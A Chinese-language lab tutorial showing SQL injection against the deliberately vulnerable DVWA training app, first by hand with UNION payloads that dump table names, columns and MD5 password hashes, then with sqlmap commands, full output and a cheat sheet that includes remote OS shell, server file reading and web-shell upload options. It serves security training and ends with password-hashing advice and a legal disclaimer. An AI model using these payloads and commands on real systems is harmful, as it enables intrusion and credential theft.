文章目录
-
- 1. 环境准备
-
- 1.1 获取 Session Cookie
- 2. 手工 SQL 注入测试
-
- 2.1 判断注入点
- 2.2 确定字段数
- 2.3 联合查询测试
- 2.4 获取数据库名
- 2.5 获取表名(解决字符集冲突)
-
- 问题:字符集冲突错误
- 解决方案:使用 HEX 编码
- 2.6 获取列名
- 2.7 获取用户数据
- 3. Sqlmap 自动化注入
-
- 3.1 Sqlmap 简介
- 3.2 安装与配置
- 3.3 基础命令详解
-
- 命令结构
- 参数说明
- 3.4 实战步骤
-
- 步骤 1:枚举所有数据库
- 步骤 2:获取 dvwa 数据库的表
- 步骤 3:获取 users 表的列名
- 步骤 4:获取所有用户数据
- 3.5 注入技术对比
- 3.6 常用命令速查
-
- 获取数据库信息
- 获取表和数据
- 高级功能
- 4. 数据获取与分析
-
- 4.1 获取到的完整数据
- 4.2 密码安全分析
- 4.3 数据导出格式
1. 环境准备
1.1 获取 Session Cookie
示例 Cookie:
PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low
2. 手工 SQL 注入测试
2.1 判断注入点
测试步骤:
在 SQL Injection 页面的输入框中输入:
1'
预期结果: 页面报错,说明存在 SQL 注入漏洞。
原因分析:
— 原始 SQL
SELECT first_name, last_name FROM users WHERE user_id = '1'
— 注入后 SQL
SELECT first_name, last_name FROM users WHERE user_id = '1''
— 多余的单引号导致语法错误
2.2 确定字段数
测试语句:
1' order by 3#
结果: 页面报错
测试语句:
1' order by 2#
结果: 页面正常
结论: 查询语句包含 2 个字段
原理说明:
— order by 3 报错,说明只有 2 列
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 3#
— 第 3 列不存在,导致错误
2.3 联合查询测试
测试语句:
–1' union select 1,2#
结果: 页面显示 1 和 2
说明: 该注入点支持 UNION 查询注入
原理解析:
SELECT first_name, last_name FROM users WHERE user_id = '-1'
UNION
SELECT 1,2#
为什么要用 -1?
- 使用 -1 确保第一条查询不返回结果
- 这样 UNION 查询的结果才会显示在页面上
2.4 获取数据库名
注入语句:
–1' union select 1,database()#
执行结果:
ID: -1' union select 1,database()#
First name: 1
Surname: dvwa
结论: 当前数据库名为 dvwa
2.5 获取表名(解决字符集冲突)
问题:字符集冲突错误
尝试语句:
–1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
错误信息:
Illegal mix of collations for operation 'UNION'
错误原因: 数据库表字符集与查询结果字符集不匹配
解决方案:使用 HEX 编码
注入语句:
–1' union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema='dvwa'#
执行结果:
Surname:7573657273
十六进制解码:
7573657273 → users
结论: DVWA 数据库包含这个表:
- users(用户表)
2.6 获取列名
注入语句:
–1' union select 1,hex(group_concat(column_name)) from information_schema.columns where table_name='users'#
执行结果(十六进制):
757365725f69642c66697273745f6e616d652c6c6173745f6e616d652c757365722c70617373776f72642c6176617461722c6c6173745f6c6f67696e2c6661696c65645f6c6f67696e
解码结果:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login
2.7 获取用户数据
注入语句:
–1' union select 1,hex(group_concat(user,0x3a,password)) from users#
说明: 0x3a 是冒号 : 的十六进制,用于分隔用户名和密码
执行结果(十六进制):
61646d696e3a32313233326632393761353761356137343338393461306534613830316663332c…
解码结果:
admin:21232f297a57a5a743894a0e4a801fc3,
gordonb:e99a18c428cb38d5f260853678922e03,
1337:8d3533d75ae2c3966d7e0d4fcc69216b,
pablo:0d107d09f5bbe40cade3de5c71e9e9b7,
smithy:5f4dcc3b5aa765d61d8327deb882cf99
密码破解(MD5):
| admin | 21232f297a57a5a743894a0e4a801fc3 | admin |
| gordonb | e99a18c428cb38d5f260853678922e03 | abc123 |
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | charley |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | letmein |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | password |
3. Sqlmap 自动化注入
3.1 Sqlmap 简介
Sqlmap 是一款开源的 SQL 注入工具,可以:
- 自动检测和利用 SQL 注入漏洞
- 支持多种数据库(MySQL、Oracle、PostgreSQL 等)
- 支持多种注入技术(布尔盲注、错误注入、时间盲注、UNION 查询)
- 直接获取数据库数据
3.2 安装与配置
Windows 环境:
https://github.com/sqlmapproject/sqlmap
[Environment]::SetEnvironmentVariable("Path", $env:Path + ";D:\\Programs\\Tools\\sqlmap", [EnvironmentVariableTarget]::User)
# 方式 1:直接运行(需要配置 PATH)
sqlmap.py [选项]
# 方式 2:指定完整路径
python D:\\Programs\\Tools\\sqlmap\\sqlmap.py [选项]
# 方式 3:在 sqlmap 目录下运行
cd D:\\Programs\\Tools\\sqlmap
python sqlmap.py [选项]
3.3 基础命令详解
命令结构
sqlmap –u "目标 URL" —cookie="会话 Cookie" —功能参数
参数说明
| -u | 指定目标 URL | -u "http://…" |
| –cookie | 设置 Cookie | –cookie="PHPSESSID=xxx; security=low" |
| –dbs | 枚举所有数据库 | –dbs |
| -D | 指定数据库 | -D dvwa |
| –tables | 列出表 | –tables |
| -T | 指定表 | -T users |
| –columns | 列出列 | –columns |
| –dump | 导出数据 | –dump |
| –batch | 自动确认 | –batch |
| –technique | 指定注入技术 | –technique=U |
3.4 实战步骤
步骤 1:枚举所有数据库
命令:
python sqlmap.py –u "http://192.168.0.107/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" —cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low" —dbs —batch
输出结果:
___
__H__
___ ___[)]_____ ___ ___ {1.10.6.12#dev}
|_ -| . [(] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V… |_| https://sqlmap.org
[*] starting @ 17:46:06 /2026-06-03/
[17:46:08] [INFO] testing connection to the target URL
[17:46:08] [INFO] checking if the target is protected by some kind of WAF/IPS
[17:46:08] [INFO] testing if the target URL content is stable
[17:46:09] [INFO] target URL content is stable
[17:46:09] [INFO] testing if GET parameter 'id' is dynamic
[17:46:09] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[17:48:02] [INFO] testing 'AND boolean-based blind – WHERE or HAVING clause'
[17:48:13] [INFO] GET parameter 'id' appears to be 'OR boolean-based blind – WHERE or HAVING clause (NOT – MySQL comment)' injectable
[17:48:18] [INFO] testing 'MySQL >= 5.1 AND error-based – WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[17:48:18] [INFO] GET parameter 'id' is 'MySQL >= 5.1 AND error-based – WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' injectable
[17:48:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[17:48:29] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[17:48:29] [INFO] testing 'Generic UNION query (NULL) – 1 to 20 columns'
[17:48:29] [INFO] target URL appears to have 2 columns in query
[17:48:29] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) – 1 to 20 columns' injectable
sqlmap identified the following injection point(s) with a total of 146 HTTP(s) requests:
—
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause (NOT – MySQL comment)
Payload: id=1' OR NOT 8669=8669#&Submit=Submit
Type: error-based
Title: MySQL >= 5.1 AND error-based – WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: id=1' AND EXTRACTVALUE(3115,CONCAT(0x5c,0x716b706271,(SELECT (ELT(3115=3115,1))),0x71787a7871))– YXzB&Submit=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 3061 FROM (SELECT(SLEEP(5)))taHX)– BpBS&Submit=Submit
Type: UNION query
Title: MySQL UNION query (NULL) – 2 columns
Payload: id=1' UNION ALL SELECT CONCAT(0x716b706271,0x6470647544566f535a6f566f575346624270466947536d744956424a6f41736b7972784c70636646,0x71787a7871),NULL#&Submit=Submit
—
[17:51:09] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 7.3.4, Apache 2.4.39
back-end DBMS: MySQL >= 5.1
[17:51:09] [INFO] fetching database names
available databases [2]:
[*] dvwa
[*] information_schema
[*] ending @ 17:51:09 /2026-06-03/
关键信息:
- 发现 4 种注入方式
- 发现 2 个数据库:dvwa、information_schema
- 后端 DBMS:MySQL >= 5.1
- Web 服务器:Windows + PHP 7.3.4 + Apache 2.4.39
步骤 2:获取 dvwa 数据库的表
命令:
python sqlmap.py –u "http://192.168.0.107/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" —cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low" –D dvwa —tables —batch
输出结果:
Database: dvwa
[1 table]
+——-+
| users |
+——-+
说明: 成功获取 dvwa 数据库中的表:users
步骤 3:获取 users 表的列名
命令:
python sqlmap.py –u "http://192.168.0.107/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" —cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low" –D dvwa –T users —columns —batch
输出结果:
Database: dvwa
Table: users
[8 columns]
+————–+————-+
| Column | Type |
+————–+————-+
| user | varchar(15) |
| avatar | varchar(70) |
| failed_login | int(3) |
| first_name | varchar(15) |
| last_login | timestamp |
| last_name | varchar(15) |
| password | varchar(32) |
| user_id | int(6) |
+————–+————-+
字段说明:
| user | varchar(15) | 用户名 |
| password | varchar(32) | 密码(MD5 哈希) |
| user_id | int(6) | 用户 ID |
| first_name | varchar(15) | 名 |
| last_name | varchar(15) | 姓 |
| avatar | varchar(70) | 头像路径 |
| last_login | timestamp | 最后登录时间 |
| failed_login | int(3) | 登录失败次数 |
步骤 4:获取所有用户数据
命令:
python sqlmap.py –u "http://192.168.0.107/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" —cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low" –D dvwa –T users —dump —batch
输出结果:
Database: dvwa
Table: users
[5 entries]
+———+———+———————————-+———————————————+———+————+———————+————–+
| user_id | user | avatar | password | last_name | first_name | last_login | failed_login |
+———+———+———————————-+———————————————+———+————+———————+————–+
| 1 | admin | /DVWA/hackable/users/admin.jpg | 21232f297a57a5a743894a0e4a801fc3 (admin) | admin | admin | 2026-05-12 23:26:37 | 3 |
| 2 | gordonb | /DVWA/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon | 2026-04-23 08:52:29 | 0 |
| 3 | 1337 | /DVWA/hackable/users/1337.jpg | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack | 2026-04-23 08:52:29 | 0 |
| 4 | pablo | /DVWA/hackable/users/pablo.jpg | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo | 2026-04-23 08:52:29 | 0 |
| 5 | smithy | /DVWA/hackable/users/smithy.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob | 2026-04-23 08:52:29 | 0 |
+———+———+———————————-+———————————————+———+————+———————+————–+
[17:55:28] [INFO] table 'dvwa.users' dumped to CSV file 'C:\\Users\\Administrator\\AppData\\Local\\sqlmap\\output\\192.168.0.107\\dump\\dvwa\\users.csv'
3.5 注入技术对比
| UNION 查询 | 使用 UNION 关键字合并查询结果 | ⭐⭐⭐⭐⭐ | 首选,可直接获取数据 |
| 错误注入 | 利用数据库错误信息泄露数据 | ⭐⭐⭐⭐ | 备选方案,速度较快 |
| 布尔盲注 | 根据页面返回差异判断 | ⭐⭐ | 其他方法失败时使用 |
| 时间盲注 | 根据响应时间判断 | ⭐ | 最后的选择,速度慢 |
Sqlmap 检测到的注入 Payload:
1. 布尔盲注:
id=1' OR NOT 8669=8669#&Submit=Submit
2. 错误注入:
id=1' AND EXTRACTVALUE(3115,CONCAT(0x5c,0x716b706271,(SELECT (ELT(3115=3115,1))),0x71787a7871))— YXzB&Submit=Submit
3. 时间盲注:
id=1' AND (SELECT 3061 FROM (SELECT(SLEEP(5)))taHX)— BpBS&Submit=Submit
4. UNION 查询:
id=1' UNION ALL SELECT CONCAT(0x716b706271,0x6470647544566f535a6f566f575346624270466947536d744956424a6f41736b7972784c70636646,0x71787a7871),NULL#&Submit=Submit
3.6 常用命令速查
获取数据库信息
# 获取所有数据库
sqlmap –u "URL" —cookie="Cookie" —dbs —batch
# 获取当前数据库
sqlmap –u "URL" —cookie="Cookie" —current-db —batch
# 获取数据库用户
sqlmap –u "URL" —cookie="Cookie" —current-user —batch
# 获取数据库版本
sqlmap –u "URL" —cookie="Cookie" —dbms-version —batch
获取表和数据
# 获取指定数据库的所有表
sqlmap –u "URL" —cookie="Cookie" –D dvwa —tables —batch
# 获取指定表的列
sqlmap –u "URL" —cookie="Cookie" –D dvwa –T users —columns —batch
# 获取指定表的数据
sqlmap –u "URL" —cookie="Cookie" –D dvwa –T users —dump —batch
# 获取所有数据库的所有数据
sqlmap –u "URL" —cookie="Cookie" —dump-all —batch
高级功能
# 只使用 UNION 注入技术(最快)
sqlmap –u "URL" —cookie="Cookie" —technique=U —batch
# 获取数据库权限
sqlmap –u "URL" —cookie="Cookie" —privileges —batch
# 获取操作系统 Shell(高危!)
sqlmap –u "URL" —cookie="Cookie" —os-shell —batch
# 读取服务器文件
sqlmap –u "URL" —cookie="Cookie" —file-read="C:/Windows/win.ini" —batch
# 写入文件到服务器
sqlmap –u "URL" —cookie="Cookie" —file-write="./shell.php" —file-dest="./DVWA/shell.php" —batch
4. 数据获取与分析
4.1 获取到的完整数据
users 表数据:
| 1 | admin | admin | admin | 21232f297a57a5a743894a0e4a801fc3 | admin |
| 2 | gordonb | Gordon | Brown | e99a18c428cb38d5f260853678922e03 | abc123 |
| 3 | 1337 | Hack | Me | 8d3533d75ae2c3966d7e0d4fcc69216b | charley |
| 4 | pablo | Pablo | Picasso | 0d107d09f5bbe40cade3de5c71e9e9b7 | letmein |
| 5 | smithy | Bob | Smith | 5f4dcc3b5aa765d61d8327deb882cf99 | password |
4.2 密码安全分析
问题:
MD5 哈希特点:
- 快速计算
- 容易受到彩虹表攻击
- 不适合存储密码
推荐方案:
- 使用 bcrypt、Argon2 或 PBKDF2
- 添加随机盐值
- 增加计算成本因子
4.3 数据导出格式
Sqlmap 支持多种导出格式:
CSV 文件:
user_id,user,avatar,password,last_name,first_name,last_login,failed_login
1,admin,/DVWA/hackable/users/admin.jpg,21232f297a57a5a743894a0e4a801fc3,admin,admin,2026-05-12 23:26:37,3
SQL 文件:
INSERT INTO users VALUES (1,'admin','admin','21232f297a57a5a743894a0e4a801fc3',...);
⚠️ 法律免责声明:
本文所有技术内容仅用于学习和研究目的。未经授权对他人系统进行测试是违法行为。请在使用本文所述技术时,确保您已获得合法授权。






